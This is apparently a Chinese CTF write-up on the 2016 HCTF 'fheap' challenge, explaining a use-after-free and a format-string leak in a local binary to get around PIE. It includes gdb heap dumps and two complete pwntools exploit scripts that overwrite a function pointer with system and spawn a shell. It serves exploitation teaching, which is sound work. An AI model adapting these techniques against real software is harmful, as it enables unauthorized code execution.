PWN学习之UAF

前言

前几天学了use after free,对fastbin机制有了一定的了解。结合其他知识详细解析一下跟uaf有关的一道题。

1
2
3
4
题目来源:2016 HCTF fheap
下载地址:https://github.com/zh-explorer/hctf2016-fheap
知识点:UAF、格式化字符串
技巧:PIE的绕过

程序静态分析

还是那句话,任何漏洞的利用都要回到程序本身。

程序提供两项功能,create string和delete string

create函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
ptr = (char *)malloc(0x20uLL);   //申请0x20大小的堆空间作为索引,free之后为fastbin
printf("Pls give string size:");
nbytes = sub_B65();
if ( nbytes <= 0x1000 )
{
printf("str:");
if ( read(0, &buf, nbytes) == -1 )
{
puts("got elf!!");
exit(1);
}
nbytesa = strlen(&buf);
if ( nbytesa > 0xF ) //str长度大于0xf则申请大小为str长度的堆空间进行存储
{
dest = (char *)malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = sub_D6C; //存储调用free函数的地址,free以上申请的两个堆
}
else
{
strncpy(ptr, &buf, nbytesa);
*((_QWORD *)ptr + 3) = sub_D52; //存储调用free函数的地址,free以上申请的一个堆
}
*((_DWORD *)ptr + 4) = nbytesa;
for ( i = 0; i <= 15; ++i )
{
if ( !*((_DWORD *)&unk_2020C0 + 4 * i) )
{
*((_DWORD *)&unk_2020C0 + 4 * i) = 1; //是否有string
*((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr; //索引堆地址
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
(*((void (__fastcall **)(char *))ptr + 3))(ptr);
}
}
else
{
puts("Invalid size");
free(ptr);
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf("Pls give me the string id you want to delete\nid:");
v1 = sub_B65();
if ( v1 < 0 || v1 > 16 )
puts("Invalid id");
if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(
*((_QWORD *)&unk_2020C0 + 2 * v1 + 1),
"yes");
*((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
}
}

可以看到,delete的时候并未判断string是否存在,free之后并没有将改地址设为NULL。因此有很明显的double free漏洞。

程序动态分析

checksec

1
2
3
4
5
6
7
gef➤  checksec
[+] checksec for '/mnt/hgfs/shared/2016HCTF fheap/fheap'
Canary : Yes
NX : Yes
PIE : Yes
Fortify : No
RelRO : Partial

首先create两个<=0xf的string,查看堆空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
gef➤  vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /mnt/hgfs/shared/2016HCTF fheap/fheap
0x0000555555755000 0x0000555555756000 0x0000000000001000 r-- /mnt/hgfs/shared/2016HCTF fheap/fheap
0x0000555555756000 0x0000555555757000 0x0000000000002000 rw- /mnt/hgfs/shared/2016HCTF fheap/fheap #可读写段
0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap] #堆起始地址
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw-
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fda000 0x00007ffff7fdd000 0x0000000000000000 rw-
0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x /20gx 0x0000555555757000
0x555555757000: 0x0000000000000000 0x0000000000000031
0x555555757010: 0x0000000a61616161 0x0000000000000000 #chunk1
0x555555757020: 0x0000000000000005 0x0000555555554d52
0x555555757030: 0x0000000000000000 0x0000000000000031
0x555555757040: 0x0000000a62626262 0x0000000000000000 #chunk2
0x555555757050: 0x0000000000000005 0x0000555555554d52
0x555555757060: 0x0000000000000000 0x0000000000020fa1
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000

先delete chunk1,再delete chunk0,查看堆空间以及fastbins

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gef➤  x /20gx 0x0000555555757000
0x555555757000: 0x0000000000000000 0x0000000000000031
0x555555757010: 0x0000555555757030 0x0000000000000000
0x555555757020: 0x0000000000000005 0x0000555555554d52
0x555555757030: 0x0000000000000000 0x0000000000000031
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000005 0x0000555555554d52
0x555555757060: 0x0000000000000000 0x0000000000020fa1
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
gef➤ heap bins
[+] No Tcache in this version of libc
─────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] ← Chunk(addr=0x555555757010, size=0x30, flags=PREV_INUSE) ← Chunk(addr=0x555555757040, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00

下面查看string list(unk_2020C0 )的内容。string list在.bss段,该段为可读写段,可读写段从plt表开始。由上面的vmmap可知可读写段地址为0x0000555555756000,ida中查看偏移

1
2
3
4
5
6
7
8
.got.plt:0000000000202000                 dq offset stru_201DF0
.got.plt:0000000000202008 qword_202008 dq 0 ; DATA XREF: sub_950↑r
.got.plt:0000000000202010 qword_202010 dq 0 ; DATA XREF: sub_950+6↑r
.got.plt:0000000000202018 off_202018 dq offset free ; DATA XREF: _free↑r
.got.plt:0000000000202020 off_202020 dq offset strncpy ; DATA XREF: _strncpy↑r
...
.bss:00000000002020C0 unk_2020C0 db ? ; ; DATA XREF: sub_D95:loc_DE9↑o
.bss:00000000002020C0 ; sub_D95+C1↑o ...

偏移为0xc0,因此string list的地址为0x00005555557560c0

1
2
3
4
5
6
gef➤  x /10gx 0x00005555557560c0
0x5555557560c0: 0x0000000000000000 0x0000555555757010
0x5555557560d0: 0x0000000000000000 0x0000555555757040
0x5555557560e0: 0x0000000000000000 0x0000000000000000
0x5555557560f0: 0x0000000000000000 0x0000000000000000
0x555555756100: 0x0000000000000000 0x0000000000000000

可以看到free后的堆地址仍然存在。

接着create大小为0x20的string,查看堆空间

1
2
3
4
5
6
7
8
9
10
11
gef➤  x /20gx 0x0000555555757000
0x555555757000: 0x0000000000000000 0x0000000000000031
0x555555757010: 0x0000555555757040 0x0000000000000000
0x555555757020: 0x0000000000000020 0x0000555555554d6c
0x555555757030: 0x0000000000000000 0x0000000000000031
0x555555757040: 0x3131313131313131 0x3232323232323232
0x555555757050: 0x3333333333333333 0x3434343434343434
0x555555757060: 0x0000000000000000 0x0000000000020fa1
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000

发现了uaf漏洞。

利用思路如下:

1
2
3
4
5
6
根据调用free函数的地址找到puts函数地址
puts函数泄漏程序基地址
根据程序基地址找到printf函数地址
利用printf的fmt漏洞泄漏libc基地址
根据libc基地址找到system函数地址
调用system("/bin/sh")

漏洞利用

第一步:根据调用free函数的地址找到puts函数地址

查看puts函数在程序中的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ objdump -d -M intel fheap | grep puts
0000000000000990 <puts@plt>:
c54: e8 37 fd ff ff call 990 <puts@plt>
c60: e8 2b fd ff ff call 990 <puts@plt>
c6c: e8 1f fd ff ff call 990 <puts@plt>
d1a: e8 71 fc ff ff call 990 <puts@plt>
d2d: e8 5e fc ff ff call 990 <puts@plt>
de4: e8 a7 fb ff ff call 990 <puts@plt>
f31: e8 5a fa ff ff call 990 <puts@plt>
f83: e8 08 fa ff ff call 990 <puts@plt>
100d: e8 7e f9 ff ff call 990 <puts@plt>
1119: e8 72 f8 ff ff call 990 <puts@plt>
1156: e8 35 f8 ff ff call 990 <puts@plt>
1162: e8 29 f8 ff ff call 990 <puts@plt>
116e: e8 1d f8 ff ff call 990 <puts@plt>

因此将调用free函数的偏移改成调用puts函数(这里为0x0000555555554d52)的偏移即可。这里选用0xd2d,其实只用修改最后一个字节就可以了

第二步:puts函数泄漏程序基地址

1
2
3
4
5
6
7
8
9
10
create("aaaaa")
create("bbbbb")
delete(1)
delete(0)
payload = 24 * 'a' + '\x2d'
create(payload)
delete(1)
p.recvuntil(24*'a')
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2d #减掉偏移
log.success('elf_base:'+hex(elf_base))

第三步:根据程序基地址找到printf函数地址

查看printf函数在程序中的偏移

1
2
3
4
5
6
7
➜ objdump -d -M intel fheap | grep printf
00000000000009d0 <printf@plt>:
dbb: e8 10 fc ff ff call 9d0 <printf@plt>
e19: e8 b2 fb ff ff call 9d0 <printf@plt>
f0a: e8 c1 fa ff ff call 9d0 <printf@plt>
f56: e8 75 fa ff ff call 9d0 <printf@plt>
10ee: e8 dd f8 ff ff call 9d0 <printf@plt>

printf_addr = elf_base + 0xdbb

第四步:利用printf的fmt漏洞泄漏libc基地址

首先需要再栈中找到一个libc中的函数,首先测试一下fmt泄漏栈中数据的偏移,例如%6$p打印出栈中第二个地址中的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ stack 30
0000| 0x7fff7f5641d0 --> 0x563315439c8f (test rax,rax)
0008| 0x7fff7f5641d8 --> 0x563315439e95 (lea rax,[rip+0x201224] # 0x56331563b0c0)
0016| 0x7fff7f5641e0 --> 0x0
0024| 0x7fff7f5641e8 --> 0x100000000
0032| 0x7fff7f5641f0 --> 0xa736579 ('yes\n')
0040| 0x7fff7f5641f8 --> 0x0
0048| 0x7fff7f564200 --> 0x0
0056| 0x7fff7f564208 --> 0x0
0064| 0x7fff7f564210 --> 0x0
0072| 0x7fff7f564218 --> 0x0
0080| 0x7fff7f564220 --> 0x0
0088| 0x7fff7f564228 --> 0x0
0096| 0x7fff7f564230 --> 0x0
0104| 0x7fff7f564238 --> 0x0
0112| 0x7fff7f564240 --> 0x0
0120| 0x7fff7f564248 --> 0x0
0128| 0x7fff7f564250 --> 0x0
0136| 0x7fff7f564258 --> 0x7fbb1fe55bff (<_IO_new_file_write+143>: test rax,rax)

找到第18个地址中的数据为libc函数地址,fmt为%22$p。计算偏移

1
2
gdb-peda$ p 0x7fbb1fe55bff-0x00007fbb1fddd000
$3 = 0x78bff

脚本如下:

1
2
3
4
5
6
7
#泄漏libc基地址
delete(0)
payload = 'b' * 8 + '%22$p' + 'b'*11 + p64(printf_addr)
create(payload)
delete(1)
libc_base = int(p.recv()[10:22],16) - 0x78bff
log.success('libc_base:'+hex(libc_base))

第五步:根据libc基地址找到system函数地址

1
system_addr = libc_base + libc.symbols['system']

第六步:调用system(“/bin/sh”)

这里有一个小问题,如何传/bin/sh?解决办法/bin/sh;

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding:utf-8 -*-
from pwn import *

p = process("./fheap")
elf = ELF("./fheap")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
print hex(libc.symbols['system'])
def create(s):
p.recvuntil("quit\n")
p.sendline("create str")
p.recvuntil("size:")
p.sendline(str(len(s)))
p.recvuntil("str:")
p.sendline(s)

def delete(num):
p.recvuntil("quit\n")
p.sendline("delete str")
p.recvuntil("id:")
p.sendline(str(num))
p.recvuntil("sure?:")
p.sendline("yes")

#泄漏程序基地址
create("aaaaa")
create("bbbbb")
delete(1)
delete(0)
payload = 24 * 'a' + '\x2d'
create(payload)
delete(1)
p.recvuntil(24*'a')
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2d
log.success('elf_base:'+hex(elf_base))
printf_addr = elf_base + 0xdbb

#泄漏libc基地址
delete(0)
payload = 'b' * 8 + '%22$p' + 'b'*11 + p64(printf_addr)
create(payload)
delete(1)
libc_base = int(p.recv()[10:22],16) - 0x78bff
log.success('libc_base:'+hex(libc_base))
system_addr = libc_base + libc.symbols['system']

p.sendline('\x0a') #回车使程序继续运行
delete(0)
payload = '/bin/sh;' + 'a'*16 + p64(system_addr)
create(payload)
#gdb.attach(p)
delete(1)
p.interactive()

在不知道libc版本的情况下,可以利用DynELF泄漏system地址,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# -*- coding:utf-8 -*-
from pwn import *

p = process("./fheap")
elf = ELF("./fheap")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#print hex(libc.symbols['system'])
def create(s):
p.recvuntil("quit\n")
p.sendline("create str")
p.recvuntil("size:")
p.sendline(str(len(s)))
p.recvuntil("str:")
p.sendline(s)

def delete(num):
p.recvuntil("quit\n")
p.sendline("delete str")
p.recvuntil("id:")
p.sendline(str(num))
p.recvuntil("sure?:")
p.sendline("yes")

#泄漏程序基地址
create("aaaaa")
create("bbbbb")
delete(1)
delete(0)
payload = 24 * 'a' + '\x2d'
create(payload)
delete(1)
p.recvuntil(24*'a')
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2d
log.success('elf_base:'+hex(elf_base))
printf_addr = elf_base + 0xdbb

#泄漏libc基地址
def leak(addr):
delete(0)
payload = 'b' * 8 + '%10$s' + 'b'*11 + p64(printf_addr)
create(payload)
pay = 'yes11111' + p64(addr)
p.recvuntil('3.quit\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('Are you sure?:')
p.sendline(pay)
p.recvuntil('bbbbbbbb')
context = p.recvuntil('bb')[:-2] + "\x00"
print("%#x -> %s" %(addr, (context or '').encode('hex')))
p.sendline('\x0a')
return context

d = DynELF(leak,elf_base,elf = elf)
system_addr = d.lookup('system','libc')

#回车使程序继续运行
delete(0)
payload = '/bin/sh;' + 'a'*16 + p64(system_addr)
create(payload)

delete(1)
p.interactive()
-------------本文结束感谢您的阅读-------------